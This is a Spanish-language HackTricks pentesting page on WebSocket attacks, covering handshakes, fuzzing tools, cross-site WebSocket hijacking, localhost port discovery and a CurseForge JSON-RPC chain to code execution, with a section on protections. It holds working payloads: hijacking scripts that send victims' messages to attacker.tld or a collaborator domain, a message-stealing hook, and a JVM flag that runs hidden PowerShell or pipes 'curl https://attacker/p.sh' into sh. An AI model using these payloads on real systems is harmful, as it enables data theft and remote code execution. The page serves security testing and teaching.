Ataques WebSocket
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
¿Qué son los WebSockets?
Las conexiones WebSocket se establecen mediante un handshake inicial HTTP y están diseñadas para ser de larga duración, permitiendo mensajería bidireccional en cualquier momento sin la necesidad de un sistema transaccional. Esto hace que los WebSockets sean particularmente ventajosos para aplicaciones que requieren baja latencia o comunicación iniciada por el servidor, como flujos de datos financieros en tiempo real.
Establecimiento de conexiones WebSocket
Una explicación detallada sobre el establecimiento de conexiones WebSocket puede consultarse here. En resumen, las conexiones WebSocket suelen iniciarse mediante JavaScript del lado del cliente como se muestra a continuación:
var ws = new WebSocket("wss://normal-website.com/ws")
El protocolo wss indica una conexión WebSocket asegurada con TLS, mientras que ws indica una conexión no segura.
Durante el establecimiento de la conexión, se realiza un handshake entre el navegador y el servidor sobre HTTP. El proceso de handshake implica que el navegador envía una solicitud y el servidor responde, como se muestra en los siguientes ejemplos:
El navegador envía una solicitud de handshake:
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
Respuesta de handshake del servidor:
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
La conexión permanece abierta para el intercambio de mensajes en ambas direcciones una vez establecida.
Puntos clave del handshake de WebSocket:
- Las cabeceras
ConnectionyUpgradeseñalan el inicio de un handshake de WebSocket. - La cabecera
Sec-WebSocket-Versionindica la versión del protocolo WebSocket deseada, usualmente13. - Un valor aleatorio codificado en Base64 se envía en la cabecera
Sec-WebSocket-Key, garantizando que cada handshake sea único, lo que ayuda a prevenir problemas con proxies de caché. Este valor no es para autenticación sino para confirmar que la respuesta no fue generada por un servidor o caché mal configurado. - La cabecera
Sec-WebSocket-Accepten la respuesta del servidor es un hash de laSec-WebSocket-Key, verificando la intención del servidor de abrir una conexión WebSocket.
Estas características garantizan que el proceso de handshake sea seguro y confiable, allanando el camino para una comunicación en tiempo real eficiente.
Consola de Linux
Puedes usar websocat para establecer una conexión raw con un WebSocket.
websocat --insecure wss://10.10.10.10:8000 -v
O para crear un servidor websocat:
websocat -s 0.0.0.0:8000 #Listen in port 8000
Conexiones websocket MitM
Si encuentras que clientes están conectados a un HTTP websocket desde tu red local actual, podrías intentar un ARP Spoofing Attack para realizar un ataque MitM entre el cliente y el servidor.
Una vez que el cliente intente conectarse a ti, puedes entonces usar:
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
Enumeración de Websockets
Puedes usar la herramienta https://github.com/PalindromeLabs/STEWS para descubrir, fingerprint y buscar vulnerabilidades conocidas en websockets automáticamente.
Herramientas de depuración de Websocket
- Burp Suite soporta comunicación MitM de websockets de una manera muy similar a como lo hace para la comunicación HTTP normal.
- La socketsleuth extensión de Burp Suite te permitirá gestionar mejor las comunicaciones Websocket en Burp obteniendo el historial, configurando reglas de intercepción, utilizando reglas de buscar y reemplazar, y usando Intruder y AutoRepeater.
- WSSiP: Abreviatura de “WebSocket/Socket.io Proxy”, esta herramienta, escrita en Node.js, proporciona una interfaz de usuario para capturar, interceptar, enviar mensajes personalizados y ver todas las comunicaciones WebSocket y Socket.IO entre el cliente y el servidor.
- wsrepl es un interactive websocket REPL diseñado específicamente para pentesting. Proporciona una interfaz para observar mensajes websocket entrantes y enviar nuevos, con un framework fácil de usar para automatizar esta comunicación.
- https://websocketking.com/ es una web para comunicarse con otros sitios usando websockets.
- https://hoppscotch.io/realtime/websocket entre otros tipos de comunicaciones/protocolos, proporciona una web para comunicarse con otros sitios usando websockets.
Descifrado de Websocket
Laboratorio de Websocket
En Burp-Suite-Extender-Montoya-Course tienes código para levantar una web que usa websockets y en esta publicación puedes encontrar una explicación.
Websocket Fuzzing
La extensión de Burp Backslash Powered Scanner ahora permite fuzzear también mensajes WebSocket. Puedes leer más información sobre esto aquí.
WebSocket Turbo Intruder (Burp extension)
WebSocket Turbo Intruder de PortSwigger aporta scripting en Python al estilo Turbo Intruder y fuzzing de alta tasa a WebSockets. Instálalo desde el BApp Store o desde el código fuente. Incluye dos componentes:
- Turbo Intruder: envío de mensajes de alto volumen a un único endpoint WS usando motores personalizados.
- HTTP Middleware: expone un endpoint HTTP local que reenvía los bodies como mensajes WS sobre una conexión persistente, de modo que cualquier scanner basado en HTTP pueda sondear backends WS.
Patrón básico de script para fuzzear un WS endpoint y filtrar las respuestas relevantes:
def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(upgrade_request)
for i in range(10):
connection.queue(message, str(i))
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)
@MatchRegex(r'{\"user\":\"Hal Pline\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
Usa decoradores como @MatchRegex(...) para reducir el ruido cuando un solo mensaje desencadena múltiples respuestas.
Puente WS detrás de HTTP (HTTP Middleware)
Envuelve una conexión WS persistente y reenvía cuerpos HTTP como mensajes WS para pruebas automatizadas con escáneres HTTP:
def create_connection(upgrade_request):
connection = websocket_connection.create(upgrade_request)
return connection
@MatchRegex(r'{\"user\":\"You\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
Luego envía HTTP localmente; el body se reenvía como el mensaje WS:
POST /proxy?url=https%3A%2F%2Ftarget/ws HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 16
{"message":"hi"}
Esto te permite controlar backends WS mientras filtras eventos “interesantes” (p. ej., errores SQLi, auth bypass, comportamiento de command injection).
Manejo de Socket.IO (handshake, heartbeats, events)
Socket.IO añade su propio encapsulado sobre WS. Detéctalo mediante el parámetro de consulta obligatorio EIO (p. ej., EIO=4). Mantén la sesión viva con Ping (2) y Pong (3) y comienza la conversación con "40", luego emite eventos como 42["message","hello"].
Ejemplo de Intruder:
import burp.api.montoya.http.message.params.HttpParameter as HttpParameter
def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.queue('42["message","hello"]')
@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)
@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
Variante de adaptador HTTP:
import burp.api.montoya.http.message.params.HttpParameter as HttpParameter
def create_connection(upgrade_request):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.decIn()
return connection
@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)
@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
Detecting server‑side prototype pollution via Socket.IO
Siguiendo la técnica de detección segura de PortSwigger, intenta contaminar los internos de Express enviando una payload como:
{"__proto__":{"initialPacket":"Polluted"}}
Si los saludos o el comportamiento cambian (por ejemplo, el echo incluye “Polluted”), probablemente hayas polluted server-side prototypes. El impacto depende de los reachable sinks; correlaciónalo con los gadgets en la sección NodeJS – proto & prototype Pollution. See:
- Check NodeJS – proto & prototype Pollution for sinks/gadgets and chaining ideas.
WebSocket race conditions with Turbo Intruder
El engine por defecto agrupa mensajes en una sola conexión (gran throughput, malo para condiciones de carrera). Usa el engine THREADED para lanzar múltiples conexiones WS y disparar payloads en paralelo para generar lógica race (double‑spend, token reuse, state desync). Empieza desde el script de ejemplo y ajusta la concurrencia en config().
- Aprende la metodología y alternativas en Race Condition (ver “RC in WebSockets”).
WebSocket DoS: malformed frame “Ping of Death”
Crea frames WS cuyo header declara un tamaño de payload enorme pero no envía body. Algunos servidores WS confían en la longitud y pre‑alocan buffers; ajustarlo cerca de Integer.MAX_VALUE puede causar Out‑Of‑Memory y un DoS remoto sin autenticación. Ver el script de ejemplo.
CLI and debugging
- Headless fuzzing:
java -jar WebSocketFuzzer-<version>.jar <scriptFile> <requestFile> <endpoint> <baseInput> - Habilita el WS Logger para capturar y correlacionar mensajes usando internal IDs.
- Usa los helpers
inc*/dec*sobreConnectionpara ajustar el manejo de message ID en adapters complejos. - Decorators como
@PingPong/@Pongy helpers comoisInteresting()reducen el ruido y mantienen las sesiones vivas.
Operational safety
El fuzzing WS a alta tasa puede abrir muchas conexiones y enviar miles de mensajes por segundo. Frames malformados y tasas altas pueden causar un DoS real. Úsalo solo donde esté permitido.
Cross-site WebSocket hijacking (CSWSH)
Cross-site WebSocket hijacking, también conocido como cross-origin WebSocket hijacking, se identifica como un caso específico de Cross-Site Request Forgery (CSRF) que afecta a los handshakes WebSocket. Esta vulnerabilidad surge cuando los handshakes WebSocket se autentican únicamente mediante HTTP cookies sin CSRF tokens u otras medidas de seguridad similares.
Un atacante puede explotar esto alojando una malicious web page que inicia una conexión WebSocket cross-site con una aplicación vulnerable. Como consecuencia, esa conexión se trata como parte de la sesión de la víctima con la aplicación, explotando la falta de protección CSRF en el manejo de sesión.
Para que este ataque funcione, se requieren:
- La autenticación del websocket debe basarse en cookies
- La cookie debe ser accesible desde el servidor del atacante (esto normalmente significa
SameSite=None) y no debe haber Firefox Total Cookie Protection habilitado en Firefox ni blocked third-party cookies en Chrome. - El websocket server no debe verificar el origin de la conexión (o esto debe ser evadible)
Además:
- Si la autenticación se basa en una conexión local (a localhost o a una red local) el ataque será posible ya que no existe actualmente una protección que lo prohíba (consulta más información aquí)
Origin check disabled in Gorilla WebSocket (CheckOrigin always true)
En servidores Gorilla WebSocket, configurar CheckOrigin para que siempre retorne true acepta handshakes desde cualquier Origin. Cuando el endpoint WS además carece de autenticación, cualquier página accesible desde el navegador de la víctima (Internet o intranet) puede upgradear un socket y comenzar a leer/emmit mensajes cross-site.
<script>
const ws = new WebSocket("ws://victim-host:8025/api/v1/websocket");
ws.onmessage = (ev) => fetch("https://attacker.tld/steal?d=" + encodeURIComponent(ev.data), {mode: "no-cors"});
</script>
Impacto: exfiltración en tiempo real de datos transmitidos (p. ej., emails/notifications capturados) sin credenciales del usuario cuando se acepta cualquier Origin y el endpoint omite la autenticación.
Ataque simple
Ten en cuenta que cuando se está estableciendo una conexión websocket la cookie se envía al servidor. El servidor podría estar usándola para relacionar a cada usuario específico con su websocket session basada en la cookie enviada.
Entonces, si por ejemplo el websocket server devuelve el historial de la conversación de un usuario si se envía un msg con “READY”, entonces un simple XSS que establezca la conexión (la cookie se enviará automáticamente para autorizar al usuario víctima) enviando “READY” podrá recuperar el historial de la conversación.
<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>
Cross Origin + Cookie with a different subdomain
En este blog post https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/ el atacante consiguió ejecutar Javascript arbitrario en un subdomain del dominio donde se estaba produciendo la comunicación del websocket. Como era un subdomain, la cookie se estaba enviando, y dado que el Websocket no comprobaba correctamente el Origin, fue posible comunicarse con él y robar tokens.
Stealing data from user
Copia la web application que quieras suplantar (los archivos .html, por ejemplo) y, dentro del script donde ocurre la comunicación del websocket, añade este código:
//This is the script tag to load the websocket hooker
;<script src="wsHook.js"></script>
//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function (data, url) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "client_msg?m=" + data, true)
xhttp.send()
}
wsHook.after = function (messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "server_msg?m=" + messageEvent.data, true)
xhttp.send()
return messageEvent
}
Descarga ahora el archivo wsHook.js desde https://github.com/skepticfx/wshook y guárdalo dentro de la carpeta con los archivos web.
Al exponer la aplicación web y lograr que un usuario se conecte a ella, podrás robar los mensajes enviados y recibidos vía websocket:
sudo python3 -m http.server 80
Protecciones contra CSWSH
El ataque CSWSH se basa en que un usuario se conectará a una página maliciosa que abrirá una conexión websocket a una página web donde el usuario ya está autenticado y actuará en su nombre, ya que la petición enviará las cookies del usuario.
Hoy en día es muy fácil prevenir este problema:
- Websocket server checking the Origin: El websocket server siempre debería verificar desde dónde se conecta un usuario para evitar que páginas inesperadas establezcan conexión.
- Authentication token: En lugar de basar la autenticación en una cookie, la conexión websocket podría usar un token generado por el servidor para el usuario y desconocido para el atacante (como un anti-CSRF token).
- SameSite Cookie attribute: Las cookies con
SameSiteconfigurado comoLaxoStrictno se enviarán desde una página atacante externa al servidor de la víctima; por tanto, la autenticación basada en cookie no tendrá éxito. Ten en cuenta que Chrome ahora establece por defectoLaxen las cookies que no tienen esta flag especificada, haciendo esto más seguro por defecto. Sin embargo, los primeros 2 minutos tras la creación de una cookie ésta tendrá el valorNone, haciéndola vulnerable durante ese período limitado (también se espera que esta medida sea removida en algún momento). - Firefox Total Cookie Protection: Total Cookie Protection aísla las cookies hacia el sitio en el que se crean. Esencialmente, cada sitio tiene su propio particionado de almacenamiento de cookies para evitar que terceros enlacen el historial de navegación del usuario. Esto hace que CSWSH sea inutilizable ya que el sitio atacante no tendrá acceso a las cookies.
- Chrome third-party cookies block: Esto también puede impedir el envío de la cookie del usuario autenticado al websocket server incluso con
SameSite=None.
Localhost WebSocket abuse & browser port discovery
Los launchers de escritorio con frecuencia lanzan helpers (por ejemplo, CurseAgent.exe de CurseForge) que exponen JSON-RPC WebSockets en 127.0.0.1:<random_port>. El navegador no aplica SOP en loopback sockets, así que cualquier página web puede intentar el handshake. Si el agent acepta valores arbitrarios de Origin y omite autenticación secundaria, la superficie IPC queda controlable remotamente directamente desde JavaScript.
Enumerating exposed methods
Captura una sesión legítima para aprender el contrato del protocolo. CurseForge, por ejemplo, emite frames como {"type":"method","name":"minecraftTaskLaunchInstance","args":[{...}]} donde name es el método RPC y args contiene objetos estructurados (GUIDs, resolución, flags, etc.). Una vez conocida esta estructura, puedes invocar métodos como createModpack, minecraftGetDefaultLocation, o cualquier otra tarea privilegiada directamente desde una página inyectada.
Browser-based port discovery
Debido a que el helper se liga a un puerto alto aleatorio, el exploit primero fuerza por fuerza localhost sobre WebSockets. Los navegadores basados en Chromium toleran ~16k upgrades fallidos antes de aplicar throttling, lo cual es suficiente para recorrer el rango efímero; Firefox tiende a colapsar o congelarse después de unas pocas centenas de fallos, por lo que los PoCs prácticos suelen apuntar a Chromium.
Minimal browser scanner
```javascript async function findLocalWs(start = 20000, end = 36000) { for (let port = start; port <= end; port++) { await new Promise((resolve) => { const ws = new WebSocket(`ws://127.0.0.1:${port}/`); let settled = false; const finish = () => { if (!settled) { settled = true; resolve(); } }; ws.onerror = ws.onclose = finish; ws.onopen = () => { console.log(`Found candidate on ${port}`); ws.close(); finish(); }; }); } } ```Una vez que una conexión supera el handshake y devuelve datos específicos del protocolo, reutiliza ese socket para la cadena RPC.
Encadenar métodos JSON-RPC hasta RCE
El exploit de CurseForge encadena dos llamadas no autenticadas:
createModpack→ devuelve un nuevoMinecraftInstanceGuidsin interacción del usuario.minecraftTaskLaunchInstance→ lanza ese GUID mientras acepta flags JVM arbitrarios a través deAdditionalJavaArguments.
Las opciones diagnósticas JNI/JVM proporcionan entonces una primitiva RCE lista para usar. Por ejemplo, limita el metaspace para forzar un crash y aprovecha el error hook para la ejecución de comandos:
-XX:MaxMetaspaceSize=16m -XX:OnOutOfMemoryError="cmd.exe /c powershell -nop -w hidden -EncodedCommand ..."
En objetivos Unix simplemente reemplaza el payload por /bin/sh -c 'curl https://attacker/p.sh | sh'. Esto funciona incluso cuando no puedes tocar el código de la aplicación—controlar la JVM CLI es suficiente.
Este patrón “create resource → privileged launch” aparece a menudo en updaters and launchers. Cada vez que el método (1) devuelve un identificador rastreado por el servidor y el método (2) ejecuta código o genera un proceso con ese identificador, comprueba si se pueden inyectar argumentos controlados por el usuario.
Condiciones de carrera
Las Race Conditions en WebSockets también existen, revisa esta información para aprender más.
Otras vulnerabilidades
Dado que Web Sockets son un mecanismo para enviar datos al servidor y al cliente, dependiendo de cómo el servidor y el cliente manejen la información, los Web Sockets pueden usarse para explotar otras vulnerabilidades como XSS, SQLi u otras vulnerabilidades web comunes usando la entrada de un usuario desde un websocket.
WebSocket Smuggling
Esta vulnerabilidad podría permitirte eludir las restricciones de reverse proxies haciendo que crean que se estableció una websocket communication (aunque no sea cierto). Esto podría permitir a un atacante acceder a endpoints ocultos. Para más información consulta la siguiente página:
References
- https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages
- https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/
- WebSocket Turbo Intruder: Unearthing the WebSocket Goldmine
- WebSocket Turbo Intruder – BApp Store
- WebSocketTurboIntruder – GitHub
- Turbo Intruder background
- Server-side prototype pollution – safe detection methods
- WS RaceCondition PoC (Java)
- RaceConditionExample.py
- PingOfDeathExample.py
- When WebSockets Lead to RCE in CurseForge
- Two CVEs, Zero Ego: A Mailpit Story
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.


